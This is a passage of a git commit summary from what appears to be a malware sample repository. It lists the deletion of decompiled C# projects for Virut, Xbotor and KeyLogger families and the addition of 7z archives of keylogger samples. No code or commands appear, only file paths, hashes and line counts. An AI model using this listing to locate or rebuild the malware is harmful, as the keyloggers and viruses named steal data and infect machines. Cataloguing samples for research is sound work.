.../_0098_0003.cs | 10 - .../_0098_0004.cs | 9 - .../_0098_0005.cs | 10 - .../_0099_0002.cs | 10 - .../_0099_0003.cs | 9 - .../_0099_0004.cs | 9 - .../_0099_0005.cs | 9 - .../_009A_0002.cs | 10 - .../_009A_0003.cs | 10 - .../_009A_0004.cs | 9 - .../_009A_0005.cs | 10 - .../_009B_0002.cs | 9 - .../_009B_0003.cs | 14 - .../_009B_0004.cs | 9 - .../_009B_0005.cs | 9 - .../_009C_0002.cs | 10 - .../_009C_0003.cs | 10 - .../_009C_0004.cs | 10 - .../_009C_0005.cs | 9 - .../_009D_0002.cs | 10 - .../_009D_0003.cs | 11 - .../_009D_0004.cs | 9 - .../_009D_0005.cs | 9 - .../_009E_0002.cs | 9 - .../_009E_0003.cs | 7 - .../_009E_0004.cs | 9 - .../_009E_0005.cs | 9 - .../_009F_0002.cs | 10 - .../_009F_0003.cs | 9 - .../_009F_0004.cs | 9 - .../_009F_0005.cs | 10 - .../n(EWZ_0009/7_0017[_000C/7.cs | 70 - .../n(EWZ_0009/7_0017[_000C/Token2000132.cs | 12 - .../{058f5872-1669-4da0-8ae3-6f6e94a9e1dc} | Bin 23988 -> 0 bytes .../{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f} | Bin 3252 -> 0 bytes .../App.ico | Bin 1078 -> 0 bytes .../AssemblyInfo.cs | 14 - .../ErrorStrings.cs | 88 - .../ErrorStrings.resx | 147 - .../OmaBrowseInstall.cs | 164 - .../ServerStrings.cs | 257 - .../Virus.Win32.Small.l.csproj | 46 - .../Virus.Win32.Small.l.sln | 20 - .../AssemblyInfo.cs | 3 - .../ReadResource.cs | 119 - .../RunpeClass.cs | 1215 --- .../Virus.Win32.Virut.ac.csproj | 42 - .../Virus.Win32.Virut.ac.sln | 20 - .../AppFile.cs | 129 - .../AssemblyInfo.cs | 14 - .../FrmMain.cs | 286 - .../FrmMain.resx | 123 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Virus.Win32.Virut.af.csproj | 51 - .../Virus.Win32.Virut.af.sln | 20 - .../AssemblyInfo.cs | 3 - .../Jungle.cs | 139 - .../Module2.cs | 334 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../NmXRWnCqVoQLkgsgflZU.cs | 170 - .../Virus.Win32.Virut.ce.csproj | 45 - .../Virus.Win32.Virut.ce.sln | 20 - .../ATI/ACE/CCCInstall/Action.cs | 22 - .../ATI/ACE/CCCInstall/CCCInstall.cs | 566 - .../ATI/ACE/CCCInstall/CCCInstallLog.cs | 104 - .../ATI/ACE/CCCInstall/Tasks/BaseTask.cs | 43 - .../ATI/ACE/CCCInstall/Tasks/GACTasks.cs | 83 - .../ATI/ACE/CCCInstall/Tasks/ITask.cs | 13 - .../ATI/ACE/CCCInstall/Tasks/NgenTasks.cs | 127 - .../ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs | 99 - .../ATI/ACE/CCCInstall/Tasks/VersionTasks.cs | 60 - .../AssemblyInfo.cs | 14 - .../MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs | 18 - .../MsGac/Fusion/Native/ASM_CMP_FLAGS.cs | 25 - .../MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs | 22 - .../MsGac/Fusion/Native/ASM_NAME.cs | 32 - .../MsGac/Fusion/Native/ASSEMBLY_INFO.cs | 20 - .../Fusion/Native/FUSION_INSTALL_REFERENCE.cs | 21 - .../MsGac/Fusion/Native/FusionApi.cs | 90 - .../MsGac/Fusion/Native/IAssemblyCache.cs | 44 - .../MsGac/Fusion/Native/IAssemblyCacheItem.cs | 29 - .../MsGac/Fusion/Native/IAssemblyEnum.cs | 27 - .../MsGac/Fusion/Native/IAssemblyName.cs | 57 - .../MsGac/Fusion/Native/IHistoryReader.cs | 41 - .../Fusion/Native/IInstallReferenceEnum.cs | 24 - .../Fusion/Native/IInstallReferenceItem.cs | 21 - .../Virus.Win32.Virut.ce.csproj | 63 - .../Virus.Win32.Virut.ce.sln | 20 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 752 -- .../Form1.resx | 126 - .../My/InternalXmlHelper.cs | 214 - .../My/MyApplication.cs | 86 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 76 - .../My/MySettingsProperty.cs | 31 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Virus.Win32.Virut.ce.csproj | 59 - .../Virus.Win32.Virut.ce.sln | 20 - .../AssemblyInfo.cs | 14 - .../Form1.cs | 382 - .../Form1.resx | 120 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 21 - .../Virus.Win32.Virut.ce.csproj | 51 - .../Virus.Win32.Virut.ce.sln | 20 - .../AssemblyInfo.cs | 10 - .../CD.cs | 55 - .../Daanteys.cs | 389 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../TempRes.resx | 223 - .../Virus.Win32.Virut.ce.csproj | 49 - .../Virus.Win32.Virut.ce.sln | 20 - .../fjYIWqNzRsrEuPM.cs | 355 - .../AssemblyInfo.cs | 15 - .../Virus.Win32.Virut.ce.csproj | 62 - .../Virus.Win32.Virut.ce.sln | 20 - .../WindowsApplication1/Resources.resx | 120 - .../_003CModule_003E.cs | 14 - ...eImplementationDetails_003E{FCDEF2F2-8E.cs | 132 - .../ऄ࠹.cs | 46 - .../ऄ࠹/ऄ࠹/ऄࡀ.cs | 34 - .../ऄ࠹/ऄࡀ.cs | 34 - .../ऄ࠹/ऄࡁ.cs | 24 - .../ऄ࠹/ऄࡂ.cs | 142 - .../ऄ࠹/ऄࡃ.cs | 39 - .../ऄ࠹/ऄࡄ.cs | 24 - .../ऄࡀ.cs | 114 - .../ऄࡁ.cs | 103 - .../ऄࡂ.cs | 56 - .../ऄࡃ.cs | 26 - .../ऄࡄ.cs | 26 - .../ऄࡅ.cs | 102 - .../ऄࡅ.resx | 120 - .../ऄࡆ.cs | 41 - .../AssemblyInfo.cs | 14 - .../Form1.cs | 48 - .../Form1.resx | 120 - .../Program.cs | 22 - .../Properties/Resources.cs | 46 - .../Properties/Resources.resx | 120 - .../Properties/Settings.cs | 28 - .../Virus.Win32.Virut.q.csproj | 49 - .../Virus.Win32.Virut.q.sln | 20 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.Xbotor.csproj | 36 - .../Virus.Win32.Xbotor.sln | 20 - .../p2pdotnet.cs | 34 - .../AssemblyInfo.cs | 3 - .../Virus.Win32.Xbotor.csproj | 36 - .../Virus.Win32.Xbotor.sln | 20 - .../p2pdotnet.cs | 34 - .../Trojan-Spy.MSIL.KeyLogger.ajb.7z | Bin 0 -> 47534 bytes .../Trojan-Spy.MSIL.KeyLogger.aml.7z | Bin 0 -> 30146 bytes .../Trojan-Spy.MSIL.KeyLogger.aqg.7z | Bin 0 -> 12858 bytes .../Trojan-Spy.MSIL.KeyLogger.aww-f.7z | Bin 0 -> 12322 bytes .../Trojan-Spy.MSIL.KeyLogger.aww.7z | Bin 0 -> 12727 bytes .../Trojan-Spy.MSIL.KeyLogger.bxuq.7z | Bin 0 -> 19780 bytes .../Trojan-Spy.MSIL.KeyLogger.bxxf.7z | Bin 0 -> 101900 bytes .../Trojan-Spy.MSIL.KeyLogger.bxxv.7z | Bin 0 -> 156067 bytes .../Trojan-Spy.MSIL.KeyLogger.cciq.7z | Bin 0 -> 14039 bytes .../Trojan-Spy.MSIL.KeyLogger.cfj-6.7z | Bin 0 -> 24142 bytes .../Trojan-Spy.MSIL.KeyLogger.cfj.7z | Bin 0 -> 24153 bytes .../Trojan-Spy.MSIL.KeyLogger.cme.7z | Bin 0 -> 20399 bytes .../Trojan-Spy.MSIL.KeyLogger.cts.7z | Bin 0 -> 13237 bytes .../Trojan-Spy.MSIL.KeyLogger.cuw-73.7z | Bin 0 -> 18032 bytes .../Trojan-Spy.MSIL.KeyLogger.cuw-89.7z | Bin 0 -> 18047 bytes .../Trojan-Spy.MSIL.KeyLogger.cuw-9.7z | Bin 0 -> 18010 bytes .../Trojan-Spy.MSIL.KeyLogger.cuw-9c.7z | Bin 0 -> 18037 bytes .../Trojan-Spy.MSIL.KeyLogger.cuw-b4.7z | Bin 0 -> 18051 bytes .../Trojan-Spy.MSIL.KeyLogger.cve.7z | Bin 0 -> 12332 bytes .../Trojan-Spy.MSIL.KeyLogger.cwa.7z | Bin 0 -> 17421 bytes .../Trojan-Spy.MSIL.KeyLogger.czk.7z | Bin 0 -> 210032 bytes .../Trojan-Spy.MSIL.KeyLogger.dga.7z | Bin 0 -> 154914 bytes .../Trojan-Spy.MSIL.KeyLogger.ecv.7z | Bin 0 -> 25226 bytes .../Trojan-Spy.MSIL.KeyLogger.ghj.7z | Bin 0 -> 116653 bytes .../Trojan-Spy.MSIL.KeyLogger.irg.7z | Bin 0 -> 4905 bytes .../Trojan-Spy.MSIL.KeyLogger.jfp-a.7z | Bin 0 -> 19488 bytes .../Trojan-Spy.MSIL.KeyLogger.jfp-e.7z | Bin 0 -> 19493 bytes .../Trojan-Spy.MSIL.KeyLogger.jfp-f.7z | Bin 0 -> 13583 bytes .../Trojan-Spy.MSIL.KeyLogger.qqc-8.7z | Bin 0 -> 19705 bytes .../Trojan-Spy.MSIL.Redator.a-0.7z | Bin 0 -> 39556 bytes .../Trojan-Spy.MSIL.Redator.a-a.7z | Bin 0 -> 39556 bytes 4039 files changed, 361503 deletions(-) delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Antis.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Stealers.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ajb-34132edf41a9fe3359ebc67aedcf2dca594b4e5145bfa81e9a8b1d0fa57c1b2f/Trojan-Spy.MSIL.KeyLogger.ajb.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/Trojan-Spy.MSIL.KeyLogger.aml.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0001/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0002/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0003/_0003.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0005/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de} delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/GUlBzjdJZuXUZ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/LEThjJwJF.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/SRBxUiHKAFOgn.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/LEThjJwJF.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/Trojan-Spy.MSIL.KeyLogger.aww.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/jBcGFYzTOTtD.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/sfNwkKhkokmC.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/JFsnADcn.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/LEThjJwJ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/Trojan-Spy.MSIL.KeyLogger.aww.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-f9ea09314b7c8778e89abe01467627e7dcd8c5881ef052db5e22ba9ef11bf552/urEVdlZmdSt.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Keyboard.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Trojan-Spy.MSIL.KeyLogger.bxuq.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/PoweredByAttribute.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/Token20000A6.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/Token20000A3.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/Token20000A4.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0003.cs delete mode 100644 